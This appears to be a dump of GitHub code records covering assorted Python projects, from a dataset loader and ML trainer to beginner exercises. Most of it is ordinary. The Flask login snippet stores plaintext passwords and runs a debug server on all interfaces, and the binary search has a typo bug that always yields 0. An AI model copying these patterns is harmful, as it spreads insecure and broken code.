argparse.ArgumentParser(\n description=\"set environment variables persistently (like setx)\"\n )\n ape.add_argument(\n \"-s\",\n \"--system\",\n action=\"store_true\",\n help=\"set system variable (as opposed to user variable)\"\n )\n ape.add_argument(\n \"-v\",\n \"--verbose\",\n action=\"store_true\",\n help=\"print final variables\"\n )\n ape.add_argument(\"name\", help=\"name of variable\")\n ape.add_argument(\n \"value\",\n help=\"value of variable (omitting it will delete the variable)\",\n nargs=\"?\",\n default=\"\",\n )\n return ape.parse_args()\n\n################################################################################\n\ndef main(name, value, system, verbose):\n persist_env_var(name, value, system, True)\n if verbose:\n print(f\"variables for {'system' if args.system else 'user'}:\")\n for name, value in get_env_block(args.system).items():\n print(f\" {name} = {value}\")\n\n################################################################################\n\nif __name__ == \"__main__\":\n args = parse_args()\n\n # Setting system variables requires administrative privileges.\n if args.system and not advapi.running_as_admin():\n shell.elevate(sys.executable, *sys.argv)\n else:\n main(args.name, args.value, args.system, args.verbose)\n\n################################################################################\n","repo_name":"RoccoMatano/ctwin32","sub_path":"samples/senv.py","file_name":"senv.py","file_ext":"py","file_size_in_byte":4201,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"53"}
+{"seq_id":"2961750459","text":"#!/usr/bin/env python3\n\nimport json\nimport os\nfrom typing import TYPE_CHECKING, Any, Dict, List, Optional, Sequence\n\nimport attr\nfrom habitat.core.registry import registry\nfrom habitat.core.simulator import AgentState, ShortestPathPoint\nfrom habitat.core.utils import DatasetFloatJSONEncoder\nfrom habitat.datasets.pointnav.pointnav_dataset import (\n CONTENT_SCENES_PATH_FIELD,\n DEFAULT_SCENE_PATH_PREFIX,\n PointNavDatasetV1,\n)\nfrom habitat.tasks.nav.object_nav_task import (\n ObjectGoal,\n ObjectGoalNavEpisode,\n ObjectViewLocation,\n)\n\nif TYPE_CHECKING:\n from omegaconf import DictConfig\n\n\n@attr.s(auto_attribs=True)\nclass OVONObjectViewLocation(ObjectViewLocation):\n r\"\"\"OVONObjectViewLocation\n\n Args:\n raidus: radius of the circle\n \"\"\"\n radius: Optional[float] = None\n\n\n@attr.s(auto_attribs=True, kw_only=True)\nclass OVONEpisode(ObjectGoalNavEpisode):\n r\"\"\"OVON Episode\n\n :param children_object_categories: Category of the object\n \"\"\"\n children_object_categories: Optional[List[str]] = []\n\n @property\n def goals_key(self) -> str:\n r\"\"\"The key to retrieve the goals\"\"\"\n return f\"{os.path.basename(self.scene_id)}_{self.object_category}\"\n\n\n@registry.register_dataset(name=\"OVON-v1\")\nclass OVONDatasetV1(PointNavDatasetV1):\n r\"\"\"\n Class inherited from PointNavDataset that loads Open-Vocab\n Object Navigation dataset.\n \"\"\"\n episodes: List[OVONEpisode] = [] # type: ignore\n content_scenes_path: str = \"{data_path}/content/{scene}.json.gz\"\n goals_by_category: Dict[str, Sequence[ObjectGoal]]\n\n @staticmethod\n def dedup_goals(dataset: Dict[str, Any]) -> Dict[str, Any]:\n if len(dataset[\"episodes\"]) == 0:\n return dataset\n\n goals_by_category = {}\n for i, ep in enumerate(dataset[\"episodes\"]):\n dataset[\"episodes\"][i][\"object_category\"] = ep[\"goals\"][0][\n \"object_category\"\n ]\n ep = OVONEpisode(**ep)\n\n goals_key = ep.goals_key\n if goals_key not in goals_by_category:\n goals_by_category[goals_key] = ep.goals\n\n dataset[\"episodes\"][i][\"goals\"] = []\n\n dataset[\"goals_by_category\"] = goals_by_category\n\n return dataset\n\n def to_json(self) -> str:\n for i in range(len(self.episodes)):\n self.episodes[i].goals = []\n\n result = DatasetFloatJSONEncoder().encode(self)\n\n for i in range(len(self.episodes)):\n goals = self.goals_by_category[self.episodes[i].goals_key]\n if not isinstance(goals, list):\n goals = list(goals)\n self.episodes[i].goals = goals\n\n return result\n\n def __init__(self, config: Optional[\"DictConfig\"] = None) -> None:\n self.goals_by_category = {}\n super().__init__(config)\n self.episodes = list(self.episodes)\n\n @staticmethod\n def __deserialize_goal(serialized_goal: Dict[str, Any]) -> ObjectGoal:\n g = ObjectGoal(**serialized_goal)\n\n for vidx, view in enumerate(g.view_points):\n view_location = OVONObjectViewLocation(**view) # type: ignore\n view_location.agent_state = AgentState(**view_location.agent_state) # type: ignore\n g.view_points[vidx] = view_location\n\n return g\n\n def from_json(\n self, json_str: str, scenes_dir: Optional[str] = None\n ) -> None:\n deserialized = json.loads(json_str)\n if CONTENT_SCENES_PATH_FIELD in deserialized:\n self.content_scenes_path = deserialized[CONTENT_SCENES_PATH_FIELD]\n\n if len(deserialized[\"episodes\"]) == 0:\n return\n\n if \"goals_by_category\" not in deserialized:\n deserialized = self.dedup_goals(deserialized)\n\n for k, v in deserialized[\"goals_by_category\"].items():\n self.goals_by_category[k] = [self.__deserialize_goal(g) for g in v]\n\n for i, episode in enumerate(deserialized[\"episodes\"]):\n episode = OVONEpisode(**episode)\n episode.episode_id = str(i)\n\n if scenes_dir is not None:\n if episode.scene_id.startswith(DEFAULT_SCENE_PATH_PREFIX):\n episode.scene_id = episode.scene_id[\n len(DEFAULT_SCENE_PATH_PREFIX) :\n ]\n\n episode.scene_id = os.path.join(scenes_dir, episode.scene_id)\n\n if episode.shortest_paths is not None:\n for path in episode.shortest_paths:\n for p_index, point in enumerate(path):\n if point is None or isinstance(point, (int, str)):\n point = {\n \"action\": point,\n \"rotation\": None,\n \"position\": None,\n }\n\n path[p_index] = ShortestPathPoint(**point)\n\n self.episodes.append(episode) # type: ignore [attr-defined]\n","repo_name":"naokiyokoyama/ovon","sub_path":"ovon/dataset/ovon_dataset.py","file_name":"ovon_dataset.py","file_ext":"py","file_size_in_byte":4968,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"21316763707","text":"# 小蓝拥有×大小的棋盘,一开始棋盘上全都是白子。小蓝进行了\r\n# 次操作,每次操作会将棋盘上某个范围内的所有棋子的颜色取反\r\n# (也就是白色棋子变为黑色,黑色棋子变为白色)。请输出所有操作\r\n# 做完后棋盘上每个棋子的颜色。\r\n# 输入格式\r\n# 输入的第一行包含两个整数几,m,用一个空格分隔,表示棋盘大小\r\n# 与操作数。\r\n# 接下来m行每行包含四个整数x1,y1,x2,y2,相邻整数之间使用\r\n# 一个空格分隔,表示将在x1至x2行和y1至y2列中的棋子颜色取\r\n# 反。\r\n# 输出格式\r\n# 输出几行,每行个0或1表示该位置棋子的颜色。如果是白色则\r\n# 输出0,否则输出1。\r\n# 这段代码会超时,下面使用差分方法进行优化\r\n# n,m = map(int,input().split())\r\n# chessboard = [[0]*n for _ in range(n)]\r\n# for _ in range(m):\r\n# x1,y1,x2,y2 = map(int,input().split())\r\n# for i in range(x1-1,x2):\r\n# for j in range(y1-1,y2):\r\n# chessboard[i][j] = 1 - chessboard[i][j]\r\n# for row in chessboard:\r\n# print(''.join(map(str, row)))\r\nn, m = map(int, input().split())\r\n# 初始化一个全为0的(n + 1) x (n + 1)的二维数组来表示差分数组\r\ndiff = [[0] * (n + 2) for _ in range(n + 2)]\r\n# 执行m次操作\r\nfor _ in range(m):\r\n x1, y1, x2, y2 = map(int, input().split())\r\n # 更新差分数组的操作范围\r\n diff[x1][y1] += 1\r\n diff[x1][min(y2 + 1, n + 1)] -= 1\r\n diff[min(x2 + 1, n + 1)][y1] -= 1\r\n diff[min(x2 + 1, n + 1)][min(y2 + 1, n + 1)] += 1\r\n# 计算最终棋盘状态\r\nfor i in range(1, n + 1):\r\n for j in range(1, n + 1):\r\n diff[i][j] += diff[i][j - 1] + diff[i - 1][j] - diff[i - 1][j - 1]\r\n # 棋盘上该位置为偶数时为0,奇数时为1\r\n print(1 if diff[i][j] % 2 == 1 else 0, end='')\r\n print()","repo_name":"Ww0225/pythonTest","sub_path":"棋盘.py","file_name":"棋盘.py","file_ext":"py","file_size_in_byte":1852,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"74477081767","text":"from django.urls import path\nfrom . import views\n\napp_name = 'todo'\n\nurlpatterns = [\n path('vonly/', views.TodoVueOnlyTV.as_view(), name=\"vonly\"), # TemplateView\n\n path('create/', views.TodoCV.as_view(), name=\"create\"), # CreateView\n path('list/', views.TodoLV.as_view(), name=\"list\"), # ListView\n path('/delete/', views.TodoDelV.as_view(), name=\"delete\"), # DeleteView\n\n path('mixin/', views.TodoMOMCV.as_view(), name=\"mixin\"), # MultipleObjectMixin, CreateView\n path('/delete2/', views.TodoDelV2.as_view(), name=\"delete2\"), # DeleteView\n]\n","repo_name":"HRPzz/Vue_and_Django","sub_path":"01_Vue2cdn_Bootstrap4cdn_Django2/02_DjTodo/todo/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"21037237739","text":"from flask import Flask, render_template, request\n\napp = Flask(__name__)\n\nfrom pymongo import MongoClient\n\nclient = MongoClient('localhost', 27017)\ndb = client.dbprac\n\n\n# GET -> 페이지 / POST(id,pw) -> 로그인\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n if request.method == 'GET':\n return render_template('login.html')\n else:\n # id,pw 를 POST 의 body 에서 받습니다.\n id = request.form['id']\n pw = request.form['pw']\n\n # id와 pw가 둘다 일치하는 데이터를 찾습니다.\n db_id = db.users.find_one({'id': id, 'pw': pw}, {'_id': False})\n\n # db_id가 존재한다면\n if db_id is not None:\n return \"로그인을 성공하였습니다\"\n\n # db_id가 존재하지 않는다면\n else:\n return \"아이디 또는 패스워드를 확인하세요\"\n\n\n# POST(id,pw) -> 회원가입\n@app.route('/signup', methods=['POST'])\ndef signup():\n # id,pw 를 POST 의 body 에서 받습니다.\n id = request.form['id']\n pw = request.form['pw']\n\n # id 가 일치하는 데이터를 찾습니다.\n db_id = db.users.find_one({'id': id}, {'_id': False})\n\n # id 가 일치하는 데이터가 존재한다면\n if db_id is not None:\n print(\"이미 존재하는 아이디입니다\")\n\n # 아니라면 아이디를 저장합니다.\n else:\n db.users.insert_one({'id': id, 'pw': pw})\n print(\"회원가입이 완료되었습니다\")\n\n\nif __name__ == '__main__':\n app.run('0.0.0.0', port=5000, debug=True)\n","repo_name":"skylermbang/Lectures-","sub_path":"hanghae99/project/dailyreport/app (1).py","file_name":"app (1).py","file_ext":"py","file_size_in_byte":1557,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"71870715047","text":"# younesbelabid@yahoo.com #\n\nclass Pizza:\n def __init__(self, nom, prix,ingredients, vegetarienne = False):\n self.nom = nom\n self.prix = prix\n self.ingredients = ingredients\n self.vegetarienne = vegetarienne\n\n def afficher(self):\n print()\n veg_str = \"\"\n if self.vegetarienne:\n veg_str = \"- végétarienne\"\n print(\"la pizza est une\", self.nom, \"son prix est\", self.prix, \"$\", veg_str)\n print(\" - \".join(self.ingredients))\n print()\n\nclass Pizzapersonnalisee(Pizza):\n PRIX_DE_BASE = 7\n PRIX_PAR_INGREDIENT = 1.1\n dernier_numero = 0\n def __init__(self):\n Pizzapersonnalisee.dernier_numero +=1\n self.numero = Pizzapersonnalisee.dernier_numero\n super().__init__(\"Personnalisée \" + str(self.numero),0,[]) # -->\n self.demander_ingredients_utilisateur()\n self.calculer_prix_pizza()\n\n\n def demander_ingredients_utilisateur(self):\n print()\n print(\"Ingrédients de la pizza \" + str(self.numero))\n while True:\n ingredient = input(\"Ajouter un ingredient (Enter pour terminer) : \")\n if ingredient == \"\":\n return\n self.ingredients.append(ingredient)\n print(f\"vous avez {len(self.ingredients)}, ingrédients : {' - '.join(self.ingredients)}\")\n\n def calculer_prix_pizza(self):\n prix_tot_ingredients = self.PRIX_PAR_INGREDIENT * len(self.ingredients)\n self.prix = self.PRIX_DE_BASE + prix_tot_ingredients\n \n\npizzas = [\n Pizza(\"4 fromages\", 8.5,(\"brie\",\"emmental\",\"compté\",\"parmesan\"), True),\n Pizza(\"Royales\", 12.0,(\"brie\",\"oignons\",\"merguez\",\"champignos\")),\n Pizza(\"Orientale\", 11.0,(\"oeuf\",\"emmental\",\"sauce tomate\",\"jambon\")),\n Pizza(\"4 saisons\", 13.0,(\"brie\",\"sauce tomate\",\"viande hachée\",\"parmesan\")),\n Pizza(\"Végétarienne\", 9.0,(\"brie\",\"sauce tomate\",\"champignos\",\"parmesan\"), True),\n Pizzapersonnalisee(),\n Pizzapersonnalisee()\n ]\n\n\nfor pizza in pizzas:\n pizza.afficher()\n","repo_name":"Aliouatte/Programmation_orient-_objet","sub_path":"main_1.py","file_name":"main_1.py","file_ext":"py","file_size_in_byte":2081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"18983040867","text":"\"\"\"\n이분 탐색 (binary_search)\n예제5. n개의 오름차순 정수로 이루어진 리스트가 주어졌을 때\nk가 존재하면 1, 존재하지 않으면 0을 출력한다.\n\"\"\"\n\nimport sys\n\ndef solution(n_list, k):\n fount = False\n left = 0\n right = len(n_list)-1\n result = 0\n result_idx = ''\n\n while left <= right:\n mid = (left + right) // 2\n if k == n_list[mid]:\n result = n_list[mid]\n result_idx = f'idx: {mid}'\n found = True\n break\n elif k < n_list[mid]:\n right = mid - 1\n elif k > n_list[mid]:\n left = mid + 1\n \n if fount:\n print(result, result_idx)\n return 1\n else:\n print(result, result_idx)\n return 0\n\ndef init():\n n, k = map(int, sys.stdin.readline().split())\n n_list = list(map(int, sys.stdin.readline().split()))\n print(solution(n_list, k))\n\ninit()","repo_name":"kkojae91/algorithm_prac","sub_path":"python_algorithm/code_lion/search_05.py","file_name":"search_05.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"27364480995","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nplt.figure(figsize=(8,6))\nsalary = ('1500 or less','1500-3000','3000-4500','4500-6000','6000 or more')\nx_pos = np.arange(len(salary))\nfirst = [13,74,15,5,2]\ncurrent = [3,34,38,19,15]\nret1 = plt.bar(x_pos-0.1,first,0.2,color='b',alpha=0.8,label='first salary')\nret2 = plt.bar(x_pos+0.1,current,0.2,color='r',alpha=0.8,label='current salary')\nplt.xticks(x_pos,salary)\nplt.ylabel('The number of people')\nplt.title('First salary and current salary')\nplt.legend((ret1[0],ret2[0]),('first salary','current salary'))\ndef autolabel(rets):\n \"\"\"\n Attach a text label above each bar displaying its height\n \"\"\"\n for ret in rets:\n height = ret.get_height()\n plt.text(ret.get_x() + ret.get_width()/2.,1.01*height,'%d' % int(height), ha = 'center',va = 'bottom')\nautolabel(ret1)\nautolabel(ret2)\nplt.show()\n","repo_name":"daozl/james","sub_path":"code/bar/salary.py","file_name":"salary.py","file_ext":"py","file_size_in_byte":915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"23672022838","text":"from enthought.pyface.api import ApplicationWindow, GUI\nfrom enthought.pyface.action.api import Action, MenuManager, MenuBarManager\nfrom enthought.pyface.action.api import StatusBarManager, ToolBarManager\n\n\nclass MainWindow(ApplicationWindow):\n \"\"\" The main application window. \"\"\"\n\n ###########################################################################\n # 'object' interface.\n ###########################################################################\n\n def __init__(self, **traits):\n \"\"\" Creates a new application window. \"\"\"\n\n # Base class constructor.\n super(MainWindow, self).__init__(**traits)\n\n # Create an action that exits the application.\n exit_action = Action(name='E&xit', on_perform=self.close)\n\n # Add a menu bar.\n self.menu_bar_manager = MenuBarManager(\n MenuManager(exit_action, name='&File')\n )\n\n # Add some tool bars.\n self.tool_bar_managers = [\n ToolBarManager(\n exit_action, name='Tool Bar 1', show_tool_names=False\n ),\n\n ToolBarManager(\n exit_action, name='Tool Bar 2', show_tool_names=False\n ),\n\n ToolBarManager(\n exit_action, name='Tool Bar 3', show_tool_names=False\n ),\n ]\n\n # Add a status bar.\n self.status_bar_manager = StatusBarManager()\n self.status_bar_manager.message = 'Example application window'\n \n return\n\n\n# Application entry point.\nif __name__ == '__main__':\n # Create the GUI (this does NOT start the GUI event loop).\n gui = GUI()\n\n # Create and open the main window.\n window = MainWindow()\n window.open()\n\n # Start the GUI event loop!\n gui.start_event_loop()\n\n##### EOF #####################################################################\n","repo_name":"fspaolo/misc-code","sub_path":"maps/build/TraitsGUI/examples/application_window.py","file_name":"application_window.py","file_ext":"py","file_size_in_byte":1855,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"53"}
+{"seq_id":"27734910070","text":"from typing import Union\nfrom pathlib import Path\nimport numpy as np\nimport pandas as pd\nimport torch\nfrom torch.utils.data import DataLoader\nfrom torch.optim import Adam\nfrom torch.nn import L1Loss\nfrom torch.optim.lr_scheduler import ExponentialLR\n\nfrom core.model import CnnLSTM\n\nfrom settings import has_cuda\nfrom core.loss import *\n\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nsns.set_style(\"darkgrid\")\n\n\nclass CnnLstmTrainer:\n def __init__(self,time_step:int, out_conv_filters: int, conv_kernel: int, conv_padding: str, pool_size: int, pool_padding: str,\n lstm_hidden_unit: int, n_features: int, lr: float, loss: Union[L1Loss, RMSELoss, RLoss]):\n\n print(f\"[Model] Loading model\")\n self._model = CnnLSTM(out_conv_filters, conv_kernel, conv_padding, pool_size, pool_padding, lstm_hidden_unit,\n n_features,time_step=time_step)\n print(f\"[Model] model had been loaded\")\n\n if has_cuda:\n self._model.cuda()\n\n self._opt = Adam(self._model.parameters(), lr=lr)\n self._criterion = loss()\n self._criterion_name = self._criterion.__class__.__name__\n self._scheduler = ExponentialLR(self._opt, gamma=0.9)\n\n def train(self, train_loader: DataLoader, epochs: int, validation_loader: DataLoader,\n test_loader: Union[DataLoader, None], save_path: Path,\n scale: dict):\n print(f'[Train] Start to train')\n\n std = scale[\"std\"]\n mean = scale[\"mean\"]\n\n total_loss = []\n total_val_loss = []\n # total_acc = []\n\n # start update\n step = 0\n for epoch in range(epochs):\n\n tm_loss = []\n tm_val_loss = []\n # tm_acc = []\n\n # training proccess\n for idx, (x, y) in enumerate(train_loader):\n\n x = torch.transpose(x, dim0=1, dim1=2)\n\n # x_mean = torch.mean(x)\n # y_mean = torch.mean(y)\n #\n # x_std = torch.std(x)\n # y_std = torch.std(y)\n #\n # x = (x-x_mean)/x_std\n # y = (y-y_mean)/y_std\n\n if has_cuda:\n x = x.float().cuda()\n y = y.float().cuda()\n\n # # update\n self._opt.zero_grad()\n pred = self._model(x)\n # pred = pred*std+mean\n # y = y * std + mean\n loss = self._criterion(pred, y)\n loss.backward()\n self._opt.step()\n tm_loss.append(loss.item())\n if step % 150 == 0:\n print(f\"[{epoch + 1}/{epochs}] Epoch | Loss:{tm_loss[-1]}\")\n step += 1\n\n # self._scheduler.step()\n total_loss.append(np.mean(tm_loss))\n\n # start validation process\n for idx, (x, y) in enumerate(validation_loader):\n x = torch.transpose(x, dim0=1, dim1=2)\n\n # x_mean = torch.mean(x)\n # y_mean = torch.mean(y)\n #\n # x_std = torch.std(x)\n # y_std = torch.std(y)\n #\n # x = (x-x_mean)/x_std\n # y = (y-y_mean)/y_std\n\n if has_cuda:\n x = x.float().cuda()\n y = y.float().cuda()\n\n with torch.no_grad():\n pred = self._model(x)\n # pred = pred * std + mean\n # y = y * std + mean\n loss = self._criterion(pred, y)\n tm_val_loss.append(loss.item())\n total_val_loss.append(np.mean(tm_val_loss))\n print(f\"[{epoch + 1}/{epochs}] Epoch | Validation Loss:{np.array(total_val_loss).mean()}\")\n # end validation process\n\n # end update\n\n colors = plt.rcParams['axes.prop_cycle'].by_key()['color']\n\n # start saving weights\n total_loss = np.array(total_loss)\n total_val_loss = np.array(total_val_loss)\n total_loss = 1 - total_loss if self._criterion_name == \"RLoss\" else total_loss\n total_val_loss = 1 - total_val_loss if self._criterion_name == \"RLoss\" else total_val_loss\n\n np.save(file=str(save_path.joinpath(\"train_loss.npy\")), arr=total_loss)\n np.save(file=str(save_path.joinpath(\"validation_loss.npy\")), arr=total_val_loss)\n torch.save(self._model.state_dict(), str(save_path.joinpath(\"model.pth\")))\n # end saving weights\n\n # start save loss plot\n plt.figure(figsize=(15, 9))\n plt.plot(np.arange(epochs) + 1, total_loss, color=colors[0], label=\"Train loss\")\n plt.plot(np.arange(epochs) + 1, total_val_loss, color=colors[1], label=\"Validation loss\")\n plt.title(f\"CNN-LSTM ({self._criterion_name})\", fontsize=18, fontweight='bold')\n plt.xlabel('epochs', fontsize=18)\n plt.ylabel('Loss', fontsize=18)\n plt.legend()\n plt.savefig(str(save_path.joinpath(\"plot\").joinpath(\"training_loss.png\")))\n # end save loss plot\n\n # start test\n\n test_loss = []\n val_pred = []\n val_true = []\n with torch.no_grad():\n for idx, (x, y) in enumerate(test_loader):\n x = torch.transpose(x, dim0=1, dim1=2)\n\n # x_mean = torch.mean(x)\n # y_mean = torch.mean(y)\n #\n # x_std = torch.std(x)\n # y_std = torch.std(y)\n #\n # x = (x-x_mean)/x_std\n # y = (y-y_mean)/y_std\n\n if has_cuda:\n x = x.float().cuda()\n y = y.float().cuda()\n\n # # update\n pred = self._model(x)\n pred = pred * std + mean\n y = y * std + mean\n loss = self._criterion(pred, y)\n\n val_pred.append(pred.cpu().numpy())\n val_true.append(y.cpu().numpy())\n test_loss.append(loss.item())\n\n val_pred = np.concatenate(val_pred, axis=0)\n val_true = np.concatenate(val_true, axis=0)\n\n val_pred = np.squeeze(val_pred, axis=-1)\n val_true = np.squeeze(val_true, axis=-1)\n\n # val_pred = np.squeeze(val_pred , axis=-1)\n # val_true = np.squeeze(val_true, axis=-1)\n\n test_loss_mean = np.array(test_loss).mean()\n test_loss_mean = 1 - test_loss_mean if self._criterion_name == \"RLoss\" else test_loss_mean\n\n s_val_pred = np.array(val_pred)\n s_val_true = np.array(val_true)\n\n np.save(str(save_path.joinpath(\"train_pred.npy\")), s_val_pred)\n np.save(str(save_path.joinpath(\"train_true.npy\")), s_val_true)\n\n predict = pd.DataFrame(val_pred)\n original = pd.DataFrame(val_true)\n\n # start save prediction\n plt.figure(figsize=(15, 9))\n ax = sns.lineplot(x=original.index, y=original[0], label=\"Data\", color='royalblue')\n ax = sns.lineplot(x=predict.index, y=predict[0], label=f\"Prediction\", color='tomato')\n ax.set_title(f'Test Stock price (Test loss: {test_loss_mean})', size=14, fontweight='bold')\n ax.set_xlabel(\"Days\", size=14)\n ax.set_ylabel(\"Cost (USD)\", size=14)\n ax.set_xticklabels('', size=10)\n\n plt.savefig(str(save_path.joinpath(\"plot\").joinpath(\"prediction.png\")))\n # end save loss plot\n\n # end test\n print(f\"[Test] Final Test Loss: {test_loss_mean}\")\n","repo_name":"armin-azh/CNN-LSTM","sub_path":"core/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":7486,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"53"}
+{"seq_id":"29519063397","text":"\"\"\"Integration tests.\"\"\"\n\nimport requests\n\nfrom tests.integration.consts import api\n\n\ndef test_get_hello():\n \"\"\"Get Hello Endpoint.\"\"\"\n response = requests.get(api.HEALTH_CHECK)\n assert response.status_code == 200, '\\nReason: {}\\nURL: {}'.format(\n response.reason, response.url)\n response_body = response.json()\n\n assert 'status' in response_body\n assert 'ok' in response_body['status']\n","repo_name":"rpapat/ows-myproduct","sub_path":"tests/integration/test_api.py","file_name":"test_api.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"9772626021","text":"\"\"\"Utilities to scan all Python files in a directory and\naggregate the names of all the imported packages\n\"\"\"\nimport argparse\nimport ast\nimport os\nfrom collections import Counter\nfrom typing import Dict, Iterable, List, Optional, Tuple\n\nfrom iscan.std_lib import separate_third_party_from_std_lib\n\n\nclass ImportScanner(ast.NodeVisitor):\n \"\"\"Scanner to look for imported packages.\"\"\"\n def __init__(self) -> None:\n self.imports = [] # type: ignore\n\n def visit_Import(self, node: ast.Import) -> None:\n \"\"\"Extract imports of the form `import foo`.\n\n >>> import_statement = 'import os.path.join as jn, datetime.datetime as dt'\n >>> ast.dump(ast.parse(import_statement))\n \"Module(body=[\n Import(names=[alias(name='os.path.join', asname='jn'),\n alias(name='datetime.datetime', asname='dt')])\n ])\"\n \"\"\"\n for alias in node.names:\n self.imports.append(alias.name)\n self.generic_visit(node)\n\n def visit_ImportFrom(self, node: ast.ImportFrom) -> None:\n \"\"\"Extract imports of the form `from foo import bar`.\n\n Relative imports such as `from ..utils import foo` will be ignored.\n\n >>> import_statement = 'from os.path import join as jn, split'\n >>> ast.dump(ast.parse(import_statement))\n \"Module(body=[\n ImportFrom(module='os.path',\n names=[alias(name='join', asname='jn'),\n alias(name='split', asname=None)],\n level=0)\n ])\"\n \"\"\"\n # Ignore relative imports, for which node.level > 0\n # E.g., `from ..utils import foo` has a node.level of 2\n if node.level == 0:\n self.imports.append(node.module)\n self.generic_visit(node)\n\n def get_imports(self) -> List[str]:\n return sorted(self.imports)\n\n\ndef convert_source_to_tree(fpath: str) -> ast.Module:\n \"\"\"Convert source code into abstract syntax tree.\n\n Args:\n fpath: Path to the Python file of interest\n\n Returns:\n AST representation of the source code\n \"\"\"\n with open(fpath, 'r') as f:\n tree = ast.parse(f.read())\n return tree\n\n\ndef scan_directory(dir_to_scan: str, dir_to_exclude: Optional[str] = None) -> List[str]:\n \"\"\"Extract packages imported across all Python files in a directory.\n\n Args:\n dir_to_scan: Path to the directory of interest\n dir_to_exclude: Path to the directory to be excluded during scanning\n\n Returns:\n Imported packages; might contain duplicates\n \"\"\"\n all_imports = []\n for root_dir, _, fnames in os.walk(top=dir_to_scan):\n # Skip excluded directory\n if dir_to_exclude is not None:\n if os.path.abspath(dir_to_exclude) in os.path.abspath(root_dir):\n continue\n\n for fname in fnames:\n # Skip non-Python files\n if not fname.endswith('.py'):\n continue\n\n # Convert source code into tree\n fpath = os.path.join(root_dir, fname)\n tree = convert_source_to_tree(fpath)\n\n # Extract imports for current file\n scanner = ImportScanner()\n scanner.visit(tree)\n all_imports.extend(scanner.get_imports())\n\n return all_imports\n\n\ndef get_base_name(full_name: str) -> str:\n \"\"\"Extract the base name of a package.\n\n Args:\n full_name: Full name of the package of interest, e.g., pandas.testing\n\n Returns:\n Base name of the provided package, e.g., pandas\n \"\"\"\n return full_name.split('.')[0]\n\n\ndef sort_counter(counter: Counter, alphabetical: bool) -> Dict[str, int]:\n \"\"\"Sort counter according to custom logic.\n\n Args:\n counter: Imported packages and their corresponding count\n alphabetical: Whether to sort counter alphabetically\n\n Returns:\n Sorted counter\n \"\"\"\n def custom_order(tup):\n # Sort first by count (descending), and then by name\n return -tup[1], tup[0]\n\n sort_key = None if alphabetical else custom_order\n return dict(sorted(counter.items(), key=sort_key))\n\n\ndef show_result(third_party: Dict[str, int], std_lib: Dict[str, int], ignore_std_lib: bool) -> None:\n \"\"\"Print the result of running iscan.\n\n Args:\n third_party: Imported third-party packages and count\n std_lib: Imported standard library modules and count\n ignore_std_lib: Whether to omit standard library modules in the output\n \"\"\"\n result = '''\n--------------------------\n Third-party packages\n--------------------------\nNAME COUNT\n'''\n for name, count in third_party.items():\n result += f'{name:<20} {count:>5}\\n'\n\n if not ignore_std_lib:\n result += '''\n--------------------------\n Standard library modules\n--------------------------\nNAME COUNT\n'''\n for name, count in std_lib.items():\n result += f'{name:<20} {count:>5}\\n'\n\n print(result)\n\n\ndef run(dir_to_scan: str, dir_to_exclude: Optional[str] = None) -> Tuple[Counter, Counter]:\n \"\"\"Run iscan for a given set of parameters.\n\n Args:\n dir_to_scan: Path to the directory of interest\n dir_to_exclude: Path to the directory to be excluded during scanning\n\n Returns:\n Imported third-party packages and count\n Imported standard library modules and count\n \"\"\"\n full_packages = scan_directory(dir_to_scan, dir_to_exclude)\n base_packages = map(get_base_name, full_packages)\n third_party, std_lib = separate_third_party_from_std_lib(base_packages)\n return Counter(third_party), Counter(std_lib)\n\n\ndef cli() -> argparse.Namespace:\n \"\"\"Command line interface.\"\"\"\n parser = argparse.ArgumentParser(\n allow_abbrev=False,\n description='Aggregate third-party packages and standard library modules imported across all Python files in a given directory.' # noqa: E501\n )\n parser.add_argument(\n 'DIR_TO_SCAN',\n help='target directory to scan'\n )\n parser.add_argument(\n '-x',\n default=None,\n dest='DIR_TO_EXCLUDE',\n help='directory to exclude during scanning'\n )\n parser.add_argument(\n '--ignore-std-lib',\n dest='IGNORE_STD_LIB',\n action='store_const',\n const=True,\n default=False,\n help='whether to leave standard library modules out of the report'\n )\n parser.add_argument(\n '--alphabetical',\n dest='ALPHABETICAL',\n action='store_const',\n const=True,\n default=False,\n help='whether to sort the report alphabetically'\n )\n return parser.parse_args()\n\n\ndef main() -> None:\n args = cli()\n third_party, std_lib = run(args.DIR_TO_SCAN, args.DIR_TO_EXCLUDE)\n third_party = sort_counter(third_party, args.ALPHABETICAL) # type: ignore\n std_lib = sort_counter(std_lib, args.ALPHABETICAL) # type: ignore\n show_result(third_party, std_lib, args.IGNORE_STD_LIB)\n","repo_name":"zzhengnan/iscan","sub_path":"iscan/scan.py","file_name":"scan.py","file_ext":"py","file_size_in_byte":6975,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
